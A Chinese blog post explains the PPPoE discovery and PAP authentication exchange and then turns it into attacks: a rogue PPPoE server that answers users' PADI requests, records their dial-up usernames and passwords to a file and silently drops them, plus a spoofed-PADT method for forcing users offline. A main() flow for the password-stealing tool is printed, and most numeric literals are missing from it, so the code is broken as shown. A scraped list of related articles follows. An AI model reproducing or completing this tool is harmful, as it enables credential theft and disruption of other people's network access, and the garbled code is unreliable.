楼主学生党一枚,最近研究netkeeper有些许心得。

关于netkeeper是调用windows的rasdial来进行上网的东西,网上已经有一大堆,我就不赘述了。

本文主要讲解rasdial的部分核心过程,以及我们可以利用它来干些什么。

netkeeper中rasdial是通过PPPOE来进行用户认证并提供上网的。

PPPOE分为两个阶段PPPOED(即发现阶段)PPPOES(会话阶段)

关于PPPOED部分,维基上有很详细的介绍 。给个链接 https://en.wikipedia.org/wiki/Point-to-point_protocol_over_Ethernet

我只简略的说一下,可以分为以下四个部分:

PPPOED的协议格式:数字代表字节数。

|    6       |        6       |    2    |  链路层

dstmac     srcmac      proctol   很简单,不多说

|  1              |         1      |    2             |        2              | PPPOED头

ver_type           code        session id      payload len

固定为0x11   行为代码     会话id         后续报文的长度

|      payload len |  PPPOED tags。 这个不好说,可以去wiki看看。

// proctol  注意字节序的问题
#define PPPOED  0x8863
#define PPPOES  0x8864
//PPPOED code
#define PPPOED_PADI 0x09
#define PPPOED_PADO 0x07
#define PPPOED_PADR 0x19
#define PPPOED_PADS 0x65
#define PPPOED_SESSION 0x00
#define PPPOED_PADT 0xa7
struct PPPOE_hdr
{
    char dst[6];
    char src[6];
    char proctol[2];
    char ver_type;
    char code;
    char sid[2];
    char len[2];
};
struct PPPOE_tag
{
    char name[2];
    char len[2];
    char *value;
};

PADI:由client发送。(PPPOED tags 貌似必须要有host-uniq属性),就是广播说我想上网,谁能给我提供这个服务。

PADO:由server发送。(PPPOED tags必须要有AC-name属性,而且要有client发的PADI里的host-uniq属性。)就是服务器说我可以给你下这个服务。

PADR:client发送。(要有host-uniq)client向server请求上网服务,当接收到多个server的PADO时,一般向第一个收到的server请求服务。

PADS:server发送。(要有PADR的host-uniq,且需设置session id)之后开始服务。

PPPOES:我重点要讲的部分,在网上搜了很久的资料也没搜到啥,自己总结一下,方便他人。

PPP  LCP协议格式:  PPPOES支持的协议太多,而我们需要研究的只有LCP,所以只讲LCP。前面与PPPOED相同.

|    6       |        6       |    2    |  链路层

dstmac     srcmac      proctol   很简单,不多说

|  1              |         1      |    2             |        2              | PPPOED头

ver_type           code        session id      payload len

固定为0x11   行为代码     会话id         后续报文的长度

|        2        |  ppp proctol type

|   1                    |       1        |       2       | LCP header

code                        id             len

LCP行为代码       验证id       len指LCP header与后续报文的长度,与PPPOED不同  即 len = 4 + 后续报文长度

|   len        | LCP opts

//PPPOES proctol
#define PPP_LCP 0xc021
#define PPP_PAP 0xc023
//LCP code
#define LCP_REQUEST 0x01
#define LCP_ACK 0x02
#define LCP_NAK 0x03
#define LCP_REJECT 0x04
#define LCP_TERMINATIN_REQUEST 0x05
#define LCP_TERMINATION_ACK 0x06
#define LCP_IDENTIFICATION 0x0c // PAP code
#define PAP_REQUEST 0x01
#define PAP_ACK 0x02
struct LCP_hdr
{
    struct PPPOE_hdr pppoe;
    char proctol[2];
    char code;
    char id;
    char len[2];
    char padding[2];//填充,字节对齐。
};
struct LCP_opt
{
    char name;
    char len;
    char* value;
};

下面给个例子

讲完协议基础,就将PPPOES具体发生了什么。楼主只研究过PAP,所以下面讲PAP

1. client向server发送LCP request,请求配置(例如MTU之类的)

2.server向client发送LCP ack或LCP reject(若发的是reject,client需要根据reject再发一份request直到server ack)。

3.server向client发LCP request,LCP request中包含用户认证的方式CHAP 或 PAP。

4.client发LCP ack

5.client准备开始发送用户名和密码。发送3个LCP identification。

6.client开始发送用户名和密码。发送PAP报文。

7.server对用户名和密码进行认证,若通过则通过IPCP进行ip配置。错误则无法上网。

下面给一个PAP报文的例子,与LCP很相似。

上述总结一个图

ps:楼主字丑勿喷。

应用:

1.根据上面所讲的过程可知,我们可以在别人拨号上网发PADI的时候,发一个PADO伪装成server,一般而言,只要client先接收到的是我们的PADO,我们就可以获取到用户名和密码,窃取到密码以后我们就发送一个LCP termination request和PPPOED PADT,在把用户的MAC加入窃取到的MAC表中,对于窃取到的就不再进行拦截。

这样真正的用户在登录时只会出现一次登录失败,之后正常,用户也不会认为出了什么问题。

2.我们自己发PADI获取当前网段中的PPPOE服务器的mac,再将自己的mac伪装成服务器的,穷举session id 发送PADT给正在正常上网的用户就可以让他断网。

应用1楼主已经实现了,2没做。源码就不发了,防止有人搞破坏。

下面只贴出流程代码

int main()
{
int sock,recv_bytes,i = ;
struct Mac src;
struct Mac self = getLocalMac("eth0");
char buf[] = {};
FILE * fpout;
std::vector<struct PPPOE_tag*> tags;
std::vector<struct LCP_opt*> opts;
std::vector<struct Mac*> macMap;
sock = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
fpout = fopen("./password.txt","w");
if (sock == -)
{
perror("socket");
exit();
}
while()
{
i = ;
recv_bytes = recv(sock,buf,,);
src = getSrcMac(buf);
if (isMacInMap(&src,macMap))
continue;
if( PPPOED == getProctol(buf))
{
unsigned code;
PPPOE_HeaderReader pppoe(buf,recv_bytes);
pppoe.getPPPOED_tags(tags);
code = pppoe.getCode();
if (code == PPPOED_PADI)
sendPADO(sock,src,tags);
else if (code == PPPOED_PADR)
sendPADS(sock,src,tags);
else if (code == PPPOED_PADT)
sendPADT(sock,src,tags,pppoe.getSessionId());
release(tags);
}
if(PPPOES == getProctol(buf))
{
PPPOE_HeaderReader pppoe(buf,recv_bytes);
switch (getPPP_type(buf))
{
case PPP_LCP:
pppoe.getLCP_opts();
if(buf[] == LCP_REQUEST)
{
HeaderBuilder builder;
memcpy(buf,src.mac,);
memcpy(buf + ,self.mac,);
buf[] = LCP_ACK;
sendEth(sock,buf,recv_bytes);
buf[] = LCP_REQUEST;
buf[] = + sizeof (lcp_request);
builder.addHeader(buf,);
builder.addHeader(lcp_request,sizeof (lcp_request));
sendEth(sock,builder.head(),builder.getsize());
}
else if (buf[] == LCP_TERMINATIN_REQUEST)
{
HeaderBuilder builder;
memcpy(buf,src.mac,);
memcpy(buf + ,self.mac,);
buf[] = LCP_ACK;
sendEth(sock,buf,recv_bytes);
}
break;
case PPP_PAP:
struct Mac * tmpmac = malloc(sizeof (struct Mac));
memcpy(tmpmac,&src,sizeof(struct Mac));
macMap.push_back(tmpmac);
recordPassword(fpout,buf);
sendPADT(sock,src,tags,pppoe.getSessionId()); break;
}
release(opts);
}
}
close(sock);
release(macMap);
fclose(fpout);
return ;
}

PPPOE拨号上网流程及密码窃取具体实现的更多相关文章

  1. android移植pppoe拨号上网的全过程

    硬件环境:Tiny6410开发板 软件环境:fedora14 + Android 2.3.4 + linux-2.6.36 所需资源:rp-pppoe-3.11.tar.gz http://www.r ...

  2. MikroTik RouterOS安装后初始化配置(PPPOE拨号上网)

    1.修改登入密码 路由器默认登入账号为admin,密码为空,强烈建议修改登入密码保证安全: 2.修改接口名称 选择Interface,切换到Ethernet标签,找到状态是R(run)的两个端口. 给 ...

  3. Ubuntu pppoe 拨号上网

    -------------蓝色是终端里面的连接方式,可以不看--------------------- ADSL上网,Ubuntu下是可以的,虽然以前没用过拨号上网,不过查了查也不是很麻烦. 打开终端 ...

  4. Ubuntu下的 PPPoE 拨号上网方法

    1. 配置 pppoe $ sudo pppoeconf 2. 联网 $ sudo pon dsl-provider 3. 断网 $ sudo poff 4. 查看日志 $ plog 5. 查看接口信 ...

  5. Ubuntu PPPoE拨号上网指定网卡

    Just follow these steps: Check that the ethernet cable is properly connected Open Terminal Run sudo ...

  6. 华为AR路由器AR207-S配置pppoe拨号上网图解实例

  7. CentOS 7拨号上网(ADSL & PPPoE)

    步骤概述: 1.搜寻PPPoE相关软件,本人使用的是rp-pppoe yum search pppoe 2.使用yum安装rp-pppoe yum install rp-pppoe -y 3.开始配置 ...

  8. 动态ip、静态ip、pppoe拨号的区别

    pppoe拨号 pppoe拨号上网,又叫做ADSL拨号上网.宽带拨号上网.指现在有很多我的E家用户,送的无线猫,阉割了PPPOE拨号功能,必须要从电脑上拨号才能上网.还有大街上的WIFI热点也很多,如 ...

  9. Ubuntu 12.04 pppoe拨号问题

    我的系统信息: Ubuntu 12.04.4 X64 Q001: 我学校需要使用pppoe拨号上网.我在宿舍架了个路由,可以使用无线连接拨号上网,也可以使用网线连接.在ubuntu下,使用无线连接时没 ...

随机推荐

  1. Vue源码后记-更多options参数(2)

    写起来感觉都是老三套,AST => render => VNode => patch 之前是把AST弄完了,对事件和过滤器处理如图: render函数也只看这两部分的转换吧! 首先是 ...

  2. 如何获取系统Home(Launcher)应用判断用户是否处于home界面

    要把我们的应用程序作为home(launcher应用),只需要在AndroidManifest.xml中添加: <category android:name="android.inte ...

  3. 基于Lua脚本解决实时数据处理流程中的关键问题

    摘要 在处理实时数据的过程中需要缓存的参与,由于在更新实时数据时并发处理的特点,因此在更新实时数据时经常产生新老数据相互覆盖的情况,针对这个情况调查了Redis事务和Lua脚本后,发现Redis事务并 ...

  4. Pie

    Problem Description My birthday is coming up and traditionally I'm serving pie. Not just one pie, no ...

  5. What Are You Talking About

    What Are You Talking About Time Limit: 10000/5000 MS (Java/Others) Memory Limit: 102400/204800 K (Ja ...

  6. python利用django实现简单的登录和注册,并利用session实现了链接数据库

    利用session实现与数据库链接,登录模块(在views.py) def login(request): # return HttpResponseRedirect('/') # 判断是否post方 ...

  7. java设计师初入职场,如何站稳脚跟

    本文内容一共由3部分展开 a:新人如何快速融入团队 b:如何在职场中提升自己影响力 c:如何规进行职业规划 a:如何快速融入团队   能在层层选拔下进入公司,说明你工作的能力还是得到公司的认可,不过这 ...

  8. Spring MVC的配置与DispatcherServlet的分析

    Spring MVC是一款Web MVC框架,是目前主流的Web MVC框架之一. Spring MVC工作原理简单来看如下图所示: 接下来进行Spring MVC的配置 首先我们配置Spring M ...

  9. 再学习之MyBatis

    一.框架基本介绍 1.概念 支持普通SQL查询.存储过程和高级映射,简化和实现了Java 数据持久化层的的开源框架,主要流行的原因在于他的简单性和易使用性. 2.特点 持久层 .ORM(对象关系映射) ...

  10. [转载] Redis集群搭建最佳实践

    转载自http://blog.csdn.net/sweetvvck/article/details/38315149?utm_source=tuicool 要搭建Redis集群,首先得考虑下面的几个问 ...